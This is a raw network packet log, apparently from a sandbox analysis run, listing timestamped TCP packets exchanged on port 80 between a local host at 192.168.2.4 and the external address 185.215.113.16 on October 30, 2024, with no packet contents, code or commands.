Oct 30, 2024 12:36:35.799906969 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.804932117 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.843288898 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.843303919 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.843358994 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.908291101 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.908307076 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.908322096 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.908337116 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.908348083 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.908354044 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.908370018 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.908375978 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.908394098 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.908409119 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.908423901 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.908432961 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.908441067 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.908456087 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.908463955 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.908473969 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.908478022 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.908497095 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.908510923 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.908512115 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.908526897 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.908543110 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.908550024 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.908559084 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.908575058 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.908591986 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.908596992 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.908607006 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.908622980 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.908632994 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.908668995 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.908688068 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.908701897 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.908716917 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.908731937 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.908735037 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.908752918 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.908755064 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.908767939 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.908783913 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.908791065 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.908828020 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.908843994 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.908864021 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.908875942 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.908888102 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.908902884 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.908925056 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.908934116 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.908940077 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.908955097 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.908970118 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.908986092 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.908998013 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.909009933 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.909024954 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.909107924 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.909281015 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.909296036 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.909310102 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.909342051 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.909377098 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.909392118 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.909405947 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.909415007 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.909423113 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.909442902 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.909527063 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.909540892 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.909554958 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.909568071 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.909570932 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.909586906 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.909595966 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.909603119 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.909617901 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.909637928 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.909641981 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.909652948 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.909668922 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.909672022 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.909683943 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.909687996 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.909703970 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.909718037 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.909723997 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.909734011 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.909749985 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.909758091 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.909791946 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.909831047 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.909847975 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.909862995 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.909878969 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.909893990 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.909894943 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.909909010 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.909924984 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.909939051 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.909939051 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.909960985 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.909976006 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.909990072 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.909996986 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.910013914 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.910029888 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.910031080 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.910044909 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.910060883 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.910075903 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.910094976 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.910100937 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.910105944 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.910155058 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.910166025 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.910171032 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.910212040 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.910226107 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.910248041 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.910263062 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.910279989 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.910286903 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.910310030 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.910320044 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.910326958 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.910342932 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.910378933 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.910460949 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.910475969 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.910490036 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.910501003 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.910506010 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.910521984 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.910521984 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.910538912 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.910556078 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.910571098 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.910577059 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.910593033 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.910593033 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.910612106 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.910626888 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.910643101 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.910646915 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.910659075 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.910664082 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.910676003 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.910700083 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.910703897 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.910718918 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.910738945 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.910742044 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.910758972 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.910790920 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.910797119 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.910813093 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.910828114 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.910844088 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.910846949 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.910878897 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.910909891 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.910928011 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.910943985 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.910952091 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.910959959 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.910979986 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.911043882 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.911058903 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.911073923 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.911087990 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.911094904 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.911103964 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.911128998 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.911140919 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.911164999 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.911180019 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.911194086 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.911210060 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.911222935 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.911226988 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.911243916 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.911252022 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.911258936 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.911274910 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.911283016 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.911290884 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.911334991 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.911344051 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.911359072 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.911374092 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.911384106 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.911391020 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.911423922 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.911494017 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.911509037 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.911524057 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.911540031 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.911547899 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.911556005 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.911560059 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.911571980 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.911587000 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.911602974 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.911606073 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.911623955 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.911629915 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.911644936 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.911659956 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.911674976 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.911689997 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.911694050 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.911705017 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.911705971 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.911720037 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.911729097 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.911778927 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.911818027 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.911865950 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.911880970 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.911895037 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.911906004 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.911936998 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.911948919 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.911963940 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.911978960 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.911993027 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.912000895 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.912041903 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.912478924 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.912493944 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.912508965 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.912523031 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.912538052 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.912539005 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.912554026 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.912560940 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.912569046 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.912600040 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.912604094 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.912620068 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.912633896 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.912650108 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.912657022 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.912666082 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.912683010 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.912698984 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.912714005 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.912728071 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.912735939 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.912743092 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.912744045 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.912760973 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.912780046 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.912822962 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.912838936 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.912853003 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.912859917 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.912869930 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.912884951 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.912894964 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.912924051 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.912988901 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.913005114 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.913021088 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.913036108 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.913052082 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.913062096 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.913068056 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.913072109 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.913084030 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.913105011 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.913120031 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.913120985 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.913136959 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.913151979 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.913152933 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.913172007 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.913255930 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.913270950 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.913285971 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.913301945 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.913309097 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.913319111 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.913326025 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.913336039 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.913351059 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.913366079 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.913374901 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.913381100 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.913382053 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.913397074 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.913414955 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.913420916 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.913436890 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.913451910 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.913460016 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.913467884 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.913482904 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.913489103 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.913499117 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.913537979 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.913542032 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.913558006 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.913579941 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.913701057 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.913716078 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.913731098 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.913748980 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.913752079 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.913764954 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.913770914 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.913780928 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.913795948 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.913801908 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.913811922 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.913827896 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.913845062 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.913850069 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.913861036 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.913865089 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.913877010 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.913899899 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.914060116 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.914076090 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.914091110 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.914105892 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.914113998 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.914122105 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.914138079 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.914139986 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.914153099 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.914169073 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.914175034 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.914184093 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.914199114 CET	49744	80	192.168.2.4	185.215.113.16
